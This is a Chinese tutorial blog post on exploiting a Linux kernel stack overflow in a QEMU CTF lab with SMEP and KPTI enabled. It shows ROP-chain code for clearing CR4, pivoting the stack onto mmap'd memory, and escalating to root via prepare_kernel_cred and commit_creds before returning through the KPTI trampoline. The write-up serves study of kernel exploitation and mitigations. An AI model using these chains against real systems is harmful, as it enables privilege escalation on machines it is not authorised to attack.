原创 | 内核缓冲区溢出2开启smep

admin 2022年4月26日06:56:58评论34 views字数 3652阅读12分10秒阅读模式

原创 | 内核缓冲区溢出2开启smep

点击上方蓝字 关注我吧


原创 | 内核缓冲区溢出2开启smep

介绍

原创 | 内核缓冲区溢出2开启smep

smep是在进入内核的时候用户态的代码不可执行,

通过设置CR4寄存器的第20位实现的。在启动时,它可以通过添加+smep-cpu选项来启用,通过添加nosmep-append`选项来禁用。

内核缓冲区溢出1的利用是让内核模块函数返回到用户的空间,这段空间布置了写好的shellcode。开启smep之后这种方法将不可行。

原创 | 内核缓冲区溢出2开启smep

测试

原创 | 内核缓冲区溢出2开启smep

修改run.sh添加smep保护之后内核缓冲区溢出1的exp将会失败

qemu-system-x86_64     -s     -m 128M     -cpu kvm64,+smep      -kernel vmlinuz     -initrd initramfs.cpio.gz     -hdb flag.txt     -snapshot     -nographic     -monitor /dev/null     -no-reboot     -append "console=ttyS0 nokaslr nopti nosmap  quiet panic=1"
/ # ./exploit[*] Saved state[*] Opened device[*] Leaked 160 bytes[*] Cookie: 31a7d9e245f69600[*] Prepared payload[   10.565921] unable to execute userspace code (SMEP?) (uid: 0)[   10.566294] BUG: unable to handle page fault for address: 0000000000401fd9[   10.566591] #PF: supervisor instruction fetch in kernel mode[   10.566884] #PF: error_code(0x0011) - permissions violation[   10.567371] PGD 5918067 P4D 5918067 PUD 5979067 PMD 5977067 PTE 7aa2025

对应出错地址为跳转到用户态代码的shellcode。类似NX,smep达到的效果就是shellcode不可执行。

原创 | 内核缓冲区溢出2开启smep

一种方法是用rop修改cr4,然后跳转到用户空间,构造rop链如下

payload[off++] = pop_rdi_ret; // return address    payload[off++] = 0x6f0;    payload[off++] = native_write_cr4; // native_write_cr4(0x6f0), effectively clear the 20th bit    payload[off++] = (unsigned long)escalate_privs;

但是实际上现在的内核版本不允许修改cr4,下面链接写的比较详细

https://patchwork.kernel.org/project/kernel-hardening/patch/20190220180934.GA46255@beast/

原创 | 内核缓冲区溢出2开启smep

普通利用

原创 | 内核缓冲区溢出2开启smep

不能执行shellcode需要使用rop执行想要的函数。实际调试过程中有些rop不能用,目前没有好的解决方案【待补充】。

作者提供了一些rop可以用。利用方式和x86下的基本一致

原创 | 内核缓冲区溢出2开启smep

栈迁移

原创 | 内核缓冲区溢出2开启smep

补充栈迁移,用mmap映射一段空间布置好获取权限的rop,使用rop控制rsp跳转到申请的空间执行前面布置的rop。

如图,需要给rop链中调用的函数预留空间,申请空间之后在第一次访问的时候才会把页面插入也表所以需要先随意填充一些数据。

    fake_stack = mmap((void *)0x5b000000 - 0x1000, 0x2000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, -1, 0);    unsigned off = 0x1000 / 8;    fake_stack[0] = 0xdead; // put something in the first page to prevent fault    fake_stack[off++] = 0x0; // dummy r12    fake_stack[off++] = 0x0; // dummy rbp    fake_stack[off++] = pop_rdi_ret;    ···

原创 | 内核缓冲区溢出2开启smep

原创 | 内核缓冲区溢出2开启smep

kpti保护

原创 | 内核缓冲区溢出2开启smep

修改run.sh,开启kpti(关于kpti参考https://blog.csdn.net/pwl999/article/details/112686914

qemu-system-x86_64     -s     -m 128M     -cpu kvm64,+smep      -kernel vmlinuz     -initrd initramfs.cpio.gz     -hdb flag.txt     -snapshot     -nographic     -monitor /dev/null     -no-reboot     -append "console=ttyS0 nokaslr kpti=1 nosmap  quiet panic=1"

kpti是分离函数user-spacekernel-space全页表,而不是只使用一个集合,最直观的体现是之执行"swapgs;iret"指令不能返回到用户态。还需要设置cr3寄存器。

mov     rdi, cr3or      rdi, 1000hmov     cr3, rdi

payload如下,返回用户态的部分在kpti_trampoline开始。

swapgs_restore_regs_and_return_to_usermode + 22作为kpti_trampoline的地址(对应指令为.text:FFFFFFFF81200F26 mov rdi, rsp)这段rop包含了两个多余的pop(需要在后面填充两个0),包含swapgs,修改cr3,iretq。

vmlinux没有函数名,需要找到rop的位置。可以通过查看符号表获得cat /proc/kallsyms |grep swapgs_restore_regs_and_return_to_usermode

    unsigned n=50;    unsigned long payload[n];    unsigned off=16;    payload[off++]=cookie;    payload[off++]=0x0;    payload[off++]=0x0;    payload[off++]=0x0;    // payload[off++]=pop_rdi_ret;    // payload[off++]=0x0;    payload[off++] = pop_rdi_ret; // return address    payload[off++] = 0x0; // rdi <- 0    payload[off++] = prepare_kernel_cred; // prepare_kernel_cred(0)    payload[off++] = pop_rdx_ret;    payload[off++] = 0x8; // rdx <- 8    payload[off++] = cmp_rdx_jne_pop2_ret; // make sure JNE doesn't branch    payload[off++] = 0x0; // dummy rbx    payload[off++] = 0x0; // dummy rbp    payload[off++] = mov_rdi_rax_jne_pop2_ret; // rdi <- rax    payload[off++] = 0x0; // dummy rbx    payload[off++] = 0x0; // dummy rbp    // payload[off++] = commit_creds; // commit_creds(prepare_kernel_cred(0))
payload[off++] = commit_creds; // commit_creds(prepare_kernel_cred(0)) payload[off++] = kpti_trampoline; // swapgs_restore_regs_and_return_to_usermode + 22 payload[off++] = 0x0; // dummy rax payload[off++] = 0x0; // dummy rdi payload[off++] = user_rip; payload[off++] = user_cs; payload[off++] = user_rflags; payload[off++] = user_sp; payload[off++] = user_ss;

payload[off++]=mov_esp_pop2_ret;

意:开启了kpti实际上栈迁移到用户mmap的空间也是可以访问的(按照kpti的说法这段空间是不是不能访问)。【待补充】

在开启KPTI内核,提权返回到用户态(iretq/sysret)之前如果不设置CR3寄存器的值,就会导致进程找不到当前程序的正确页表,引发段错误,程序退出。


相关推荐




原创 | "白话"SQL注入漏洞(上)
原创 | web中间件安全-Tomcat漏洞复现
原创 | web服务框架安全-ThinkPHP漏洞复现
原创 | tkMybatis中常见的注入场景
原创 | 内核缓冲区溢出2开启smep
你要的分享、在看与点赞都在这儿~

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月26日06:56:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   原创 | 内核缓冲区溢出2开启smephttp://cn-sec.com/archives/549951.html

发表评论

匿名网友 填写信息